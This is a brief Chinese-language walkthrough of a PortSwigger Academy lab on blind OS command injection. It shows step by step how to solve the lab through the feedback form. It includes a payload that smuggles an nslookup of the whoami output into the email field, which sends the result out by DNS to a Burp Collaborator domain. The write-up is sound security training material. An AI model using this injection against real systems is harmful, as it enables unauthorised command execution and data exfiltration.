Lab: Blind OS command injection with out-of-band data exfiltration:外带数据泄露的系统命令盲注
作者:互联网
靶场内容:
本实验在反馈功能中包含一个OS 命令盲注入漏洞。
应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。
要解决实验室问题,请执行whoami命令并通过 DNS 查询将输出泄露到 Burp Collaborator。您需要输入当前用户的姓名才能完成实验。
注意
为了防止 Academy 平台被用来攻击第三方,我们的防火墙会阻止实验室与任意外部系统之间的交互。要解决实验室,您必须使用 Burp Collaborator 的默认公共服务器 ( burpcollaborator.net)。
漏洞解析
- 点击submit feedback ,输入信息,抓取包
- 点击burp,启动 Burp Collaborator client
- 点击 "Copy to clipboard"
- 转到报文中,在email后面添加
||nslookup+ ` whoami`.xxxxxxxxxxxxxxxx.burpcollaborator.net||
- 这波操作,可以将whoami信息返回给客户端
- 然后打开客户端就可以看见whoami信息了
- 打开靶场,提价信息即可
关键截图:
标签:Blind,命令,exfiltration,点击,Burp,Collaborator,net,盲注,whoami 来源: https://www.cnblogs.com/Zeker62/p/15168115.html